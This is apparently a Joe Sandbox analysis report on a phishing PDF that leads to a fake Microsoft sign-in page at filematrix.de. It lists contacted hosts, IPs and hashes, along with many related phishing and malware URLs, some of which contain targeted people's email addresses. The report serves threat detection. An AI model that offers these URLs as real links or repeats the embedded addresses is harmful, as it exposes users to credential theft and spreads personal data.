https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/c9wks/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=923624ed89078c1d&lang=auto	false		high
https://cdn.jsdelivr.net/gh/pranaynamnaik/files@latest/micro-123787483.png	false		high
https://a.nel.cloudflare.com/report/v4?s=MGpxJYDMnOxbdTsnjlqankIfjTEua%2BTEmZcl%2BZiu8tLYjxJ8Muz39E%2BK7MUZ6DsoI9sgRb5nzXB41NX6FKLSZDeWDkBFTmVM3zrIn0CWGkRwzsPhn8IVCwnF5e5uvCe%2Fs7Qj3E5%2Fh7NgdSI%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/923624ed89078c1d/1742483510642/pDqc0cvhBPTuHa_	false		high
https://inexcessco.filematrix.de/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://inexcessco.filematrix.de/3Z6LC/	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/116951644:1742480032:40wOJ2IgVIn2V65IWJRvPf9Qpxd_X2kOswqtovYudr8/923624ed89078c1d/jSPbgMiPzjKYSeLkzkf5.RS16C4zNz5uOgCWd96hLBs-1742483509-1.1.1.1-aviktczk7nuAgKCPpLNKXtIfCFuKR8KDfni6Kf1VjQosuvgeauUL1IzJFhWJbAnj	false		high
https://inexcessco.filematrix.de/3Z6LC	false	Avira URL Cloud: safe	unknown
https://gplr.filematrix.de/google.php	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://res.cloudinary.com/dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/923624ed89078c1d/1742483510644/fbc24bbca4548393107d179a581eb708047887967c0f734ef07d4aa4e46c2e2b/x6YaIBQZO4ZJtuh	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.2.dr	false		high
https://getbootstrap.com/)	chromecache_202.15.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_209.15.dr, chromecache_202.15.dr	false		high
https://getbootstrap.com)	chromecache_209.15.dr	false		high
https://inexcessco.filematrix.de/3Z6LC)	t8f2gm11IC.pdf	false	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_209.15.dr, chromecache_202.15.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_218.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.76.101.49	e8652.dscx.akamaiedge.net	United States	16625	AKAMAI-ASUS	false
172.67.201.129	gplr.filematrix.de	United States	13335	CLOUDFLARENETUS	false
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.21.60.211	inexcessco.filematrix.de	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.40.132	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
23.209.72.31	unknown	United States	20940	AKAMAI-ASN1EU	false
23.209.72.9	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
43.128.193.190	cos.ap-bangkok.myqcloud.com	Japan	4249	LILLY-ASUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
104.17.202.1	resc.cloudinary.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
104.17.201.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6
192.168.2.15
192.168.2.14

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644499
Start date and time:	2025-03-20 16:10:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	t8f2gm11IC.pdf (renamed file extension from none to pdf, renamed because original name is a hash value)
Original Sample Name:	89c25973b0a7414dbdd04dc2282e57b5844978cc
Detection:	MAL
Classification:	mal64.phis.winPDF@42/85@38/18
Cookbook Comments:	Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, TextInputHost.exe
Excluded IPs from analysis (whitelisted): 23.51.56.185, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 23.44.136.159, 23.44.136.138, 199.232.210.172, 142.250.72.110, 142.251.40.227, 142.250.65.174, 142.251.179.84, 142.251.32.110, 142.250.80.78, 142.250.80.110, 142.251.40.206, 142.251.40.234, 142.250.80.74, 142.250.81.234, 142.251.40.202, 142.251.35.170, 142.251.40.138, 172.217.165.138, 142.250.65.170, 142.250.65.234, 142.250.80.106, 142.251.40.106, 142.250.65.202, 142.250.176.202, 142.251.41.10, 142.251.40.170, 142.251.32.106, 142.251.40.142, 142.250.65.206, 142.251.41.3, 142.251.41.14, 142.251.40.238, 142.250.65.238, 142.250.176.206, 142.250.80.46, 184.31.69.3, 23.200.196.138, 172.202.163.200, 13.107.246.40
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, c.pki.goog, wu-b-net.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:11:21	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.76.101.49	https://whatsapp.dianjin-inc.com	Get hash	malicious	Unknown	Browse	x1.c.lencr.org/
172.67.201.129	http://www.thehorizondispatch.com	Get hash	malicious	Unknown	Browse
151.101.193.229	https://sharepointsync.zoholandingpage.com/vandpsolutions.com?PO60267SP-20-2025	Get hash	malicious	HTMLPhisher	Browse
	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse
	https://trezzerwalletse.webflow.io/	Get hash	malicious	HTMLPhisher	Browse
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse
	https://rpc-cryptolive.com	Get hash	malicious	Unknown	Browse
	https://opensea-nftpro5-eight.vercel.app	Get hash	malicious	Unknown	Browse
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse
	https://business.checkverifiedpages.eu/	Get hash	malicious	Unknown	Browse
	https://ebidxs0lqgtrc1e6kmwrwew9kcjkl3nqg0ud6g8m5kilxdom6s.g8way.io/O-wpvbR0VIDe1sWempQ4ZZLhpjGlCINUUh9hHVDZnXc?email=portugal.reception@daiichi-sankyo.pt	Get hash	malicious	Unknown	Browse
	http://104.21.48.1	Get hash	malicious	Unknown	Browse
104.21.60.211	https://soberestate.net	Get hash	malicious	Unknown	Browse
104.21.60.211	http://www.thehorizondispatch.com	Get hash	malicious	Unknown	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jsdelivr.map.fastly.net	https://www.vintagelights.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201/	Get hash	malicious	Phisher	Browse	151.101.1.229
	https://sharepointsync.zoholandingpage.com/vandpsolutions.com?PO60267SP-20-2025	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	http://www.ringaraja.net/portleti/katalogponudnikov/result.asp?id=4336&s=&t=51&p=50&url=https://furthercreation.com.sg/.deliveryportal/webm/#aaron.a.gil@saic.com	Get hash	malicious	HTMLPhisher	Browse	151.101.65.229
	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://trezzerwalletse.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	https://business.checkverifiedpages.eu/	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://nesia2shop.com/	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www.creditopersonalcard1f.ru/validaciones/cardif/3	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://polestubllin.ac-page.com/documents-nowreview-copy?test=true&data=05%7C02%7Cdeborah.cantu@christushealth.org%7C9e7f5b22750f4b0a926208dd67155304%7C731939eac4fc4b44872b087271216567%7C0%7C0%7C6387800636099fil34288UnknownTWFpbGZsb3d8eyJFbXB0U1hcGkiOnRydWUsIlYiOilwLjAuMDAwMCIsllAiOiJXaW4zMilslkFOIjoiTWFpbClsildUljoyfQ==%7C0%7C%7C%7C&sdata=JEFyfacBrjqR1C9dEXbaS2KjW2qYjj+roFIB112Wvg=&reserved=0	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	http://www.ringaraja.net/portleti/katalogponudnikov/result.asp?id=4336&s=&t=51&p=50&url=https://furthercreation.com.sg/.deliveryportal/webm/#aaron.a.gil@saic.com	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
stackpath.bootstrapcdn.com	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://e2025mupdate.us/53t0wWaZzWTxAUFkbsq5scSE0LvHDo9O9wXKWOVXzwQ53t0wWaZzWTxAUFkbsq5scSkDjIH0GDqPfBskxc/E0LvHxAUFkbsq5scSkDjIH0GDqPfBskx/PORTALS-DD2.shtml#administracion@clinicaelenasuarez.com	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://trimmon.de	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://owa.spaceadvancedmaterials.de/nO1Le?e=jam@hotmail.com	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://polestubllin.ac-page.com/documents-nowreview-copy?test=true&data=05%7C02%7Cdeborah.cantu@christushealth.org%7C9e7f5b22750f4b0a926208dd67155304%7C731939eac4fc4b44872b087271216567%7C0%7C0%7C6387800636099fil34288UnknownTWFpbGZsb3d8eyJFbXB0U1hcGkiOnRydWUsIlYiOilwLjAuMDAwMCIsllAiOiJXaW4zMilslkFOIjoiTWFpbClsildUljoyfQ==%7C0%7C%7C%7C&sdata=JEFyfacBrjqR1C9dEXbaS2KjW2qYjj+roFIB112Wvg=&reserved=0	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://albeneseconfectionery.com/eLtHGXzH	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
s-part-0012.t-0009.t-msedge.net	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.107.246.40
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://krunk.basalikum.top/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://click-1928265.icptrack.com/icp/relay.php?r=337124&msgid=1059&act=L49B&c=1928265&pid=832&destination=https%3A%2F%2Fdemo.westendmediagroup.com%2F&cf=684&v=e3f6a2f915319d0568ea158e5869daa7ccbad45a51971e37ef8b11cd38f525f8	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=r3yI_dSxOEiPJ_sFtWv0u-et2ubyS_1IvjO44TlrG4RUNU4xQUtYREpWQVhXSzJWUVMxMkwySkhRUS4u	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://mandrillapp.com/track/click/30319935/app.axure.cloud?p=eyJzIjoiVlZjanVlTVFEa1dCMEdNcWdqM3N2M1V2TXRzIiwidiI6MSwicCI6IntcInVcIjozMDMxOTkzNSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5heHVyZS5jbG91ZFxcXC9ERFZPOUhcXFwvXCIsXCJpZFwiOlwiMWRmZjdjZjYyZmFhNGNiN2I5NWI1MjA4Y2FjM2I2MzJcIixcInVybF9pZHNcIjpbXCIzNjBjNGIwODczODAyZGVjZTE1NTNhYmM1MGQwZjViMGMyNTdjMzM2XCJdfSJ9	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	CEKA RFQ #IND18042128.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.40.179.14
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	104.71.178.49
	i486.elf	Get hash	malicious	Mirai	Browse	184.26.66.6
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	23.40.179.76
	hoho.sh4.elf	Get hash	malicious	Unknown	Browse	23.204.246.84
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	23.204.12.174
	Nyx4r.ppc.elf	Get hash	malicious	Okiru	Browse	23.43.32.10
	Nyx4r.m68k.elf	Get hash	malicious	Okiru	Browse	23.199.141.148
	yarn.elf	Get hash	malicious	Unknown	Browse	23.7.49.163
	http://fliqlo.app	Get hash	malicious	Unknown	Browse	104.77.220.247
CLOUDFLARENETUS	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	172.67.205.57
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	104.17.201.1
	https://tbit.be/ZP5s8q	Get hash	malicious	Unknown	Browse	172.67.71.61
	http://korsrattell.xyz/4ErFOZ17657OqkY359tzikkcmggr313KEEOFAZLLFQXQPY22744WEKK2668J40	Get hash	malicious	Phisher	Browse	104.21.52.224
	http://korsrattell.xyz/4Aflic17657IxEC359hjdilxpctu313TZDIFYJUGBDEJPY22744OYLR2668x40	Get hash	malicious	Phisher	Browse	104.21.52.224
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	172.67.218.237
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	104.17.208.240
	QUOTATION_MARQUOTE312025#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.21.48.1
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.trumarkfcu.elguantenegro.com	Get hash	malicious	Unknown	Browse	104.21.27.152
CLOUDFLARENETUS	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	172.67.205.57
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	104.17.201.1
	https://tbit.be/ZP5s8q	Get hash	malicious	Unknown	Browse	172.67.71.61
	http://korsrattell.xyz/4ErFOZ17657OqkY359tzikkcmggr313KEEOFAZLLFQXQPY22744WEKK2668J40	Get hash	malicious	Phisher	Browse	104.21.52.224
	http://korsrattell.xyz/4Aflic17657IxEC359hjdilxpctu313TZDIFYJUGBDEJPY22744OYLR2668x40	Get hash	malicious	Phisher	Browse	104.21.52.224
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	172.67.218.237
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	104.17.208.240
	QUOTATION_MARQUOTE312025#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.21.48.1
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.trumarkfcu.elguantenegro.com	Get hash	malicious	Unknown	Browse	104.21.27.152
FASTLYUS	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://korsrattell.xyz/4ErFOZ17657OqkY359tzikkcmggr313KEEOFAZLLFQXQPY22744WEKK2668J40	Get hash	malicious	Phisher	Browse	151.101.129.44
	http://korsrattell.xyz/6WehOV17657gLeJ359ugofnhcmwk313VRBSICMBNPDJDSO22744KBEO2668g40	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.vintagelights.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201/	Get hash	malicious	Phisher	Browse	151.101.1.229
	https://eu.knowbe4.com/ui/login/dG9stLnBoaWsxsaXBzQHglmbWsVwmLmNvmbQ==	Get hash	malicious	KnowBe4	Browse	151.101.194.217
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://sharepointsync.zoholandingpage.com/vandpsolutions.com?PO60267SP-20-2025	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
FASTLYUS	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://korsrattell.xyz/4ErFOZ17657OqkY359tzikkcmggr313KEEOFAZLLFQXQPY22744WEKK2668J40	Get hash	malicious	Phisher	Browse	151.101.129.44
	http://korsrattell.xyz/6WehOV17657gLeJ359ugofnhcmwk313VRBSICMBNPDJDSO22744KBEO2668g40	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.vintagelights.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201/	Get hash	malicious	Phisher	Browse	151.101.1.229
	https://eu.knowbe4.com/ui/login/dG9stLnBoaWsxsaXBzQHglmbWsVwmLmNvmbQ==	Get hash	malicious	KnowBe4	Browse	151.101.194.217
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	d8b22e2e.msg	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://sharepointsync.zoholandingpage.com/vandpsolutions.com?PO60267SP-20-2025	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.0783833263753015
Encrypted:	false
SSDEEP:	6:iOBUgTQ+q2PN72nKuAl9OmbnIFUtrUgsLgZmwtUgsLQVkwON72nKuAl9OmbjLJ:7BZQ+vVaHAahFUtr6g/t6QV5OaHAaSJ
MD5:	29B476C0DEA4D23798121FF1A5A1F8EB
SHA1:	A23EE7B58EE02166A045AD6FA69588F983D9218B
SHA-256:	D09439AB9F0697F2254503DB96D530CE7043A13CF471F51A811DAD519C2590C3
SHA-512:	562BB87C4CFAD938E80C819FC986606CC62DD0423AB75EF90E05FDA27E94524AD7C1FF4A5BA771F96F8EDD38C5DA44E41D6AEB1007D41B9A63240DEADABD60E6
Malicious:	false
Reputation:	low
Preview:	2025/03/20-11:11:10.550 1e4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/03/20-11:11:10.553 1e4c Recovering log #3.2025/03/20-11:11:10.553 1e4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Source: https://inexcessco.filematrix.de/3Z6LC/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'inexcessco.filematrix.de' does not match the legitimate domain 'microsoft.com'., The domain 'filematrix.de' does not have any known association with Microsoft., The presence of a subdomain 'inexcessco' and the use of a third-party domain 'filematrix.de' are suspicious., The URL structure suggests potential phishing due to the lack of direct association with Microsoft. DOM: 0.5.pages.csv
Source: https://inexcessco.filematrix.de/3Z6LC/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'inexcessco.filematrix.de' does not match the legitimate domain for Microsoft., The domain 'filematrix.de' does not have any known association with Microsoft., The presence of a subdomain 'inexcessco' and the use of a '.de' domain extension are suspicious and not typical for Microsoft., The URL structure suggests a potential phishing attempt as it does not align with Microsoft's standard domain practices. DOM: 0.6.pages.csv

Source: Yara match	File source: 0.5.pages.csv, type: HTML
Source: Yara match	File source: 0.6.pages.csv, type: HTML

Source: Chrome DOM: 0.3	OCR Text: P,logo Microsoft Browser firewall check running. Verifying... CLOUDFLARE Microsoft has to examine your connection's security before access is allowed.
Source: Chrome DOM: 0.1	OCR Text: P,logo Microsoft Browser firewall check running. Verifying... CLOUDFLARE Microsoft has to examine your connection's security before access is allowed.

Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: Invalid link: Privacy statement
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: Invalid link: Privacy statement

Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No favicon
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No favicon
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No favicon
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No favicon
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No favicon

Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No <meta name="author".. found
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No <meta name="author".. found

Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No <meta name="copyright".. found
Source: https://inexcessco.filematrix.de/3Z6LC/	HTTP Parser: No <meta name="copyright".. found

Source: Joe Sandbox View	IP Address: 151.101.193.229 151.101.193.229
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 20.191.45.158
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
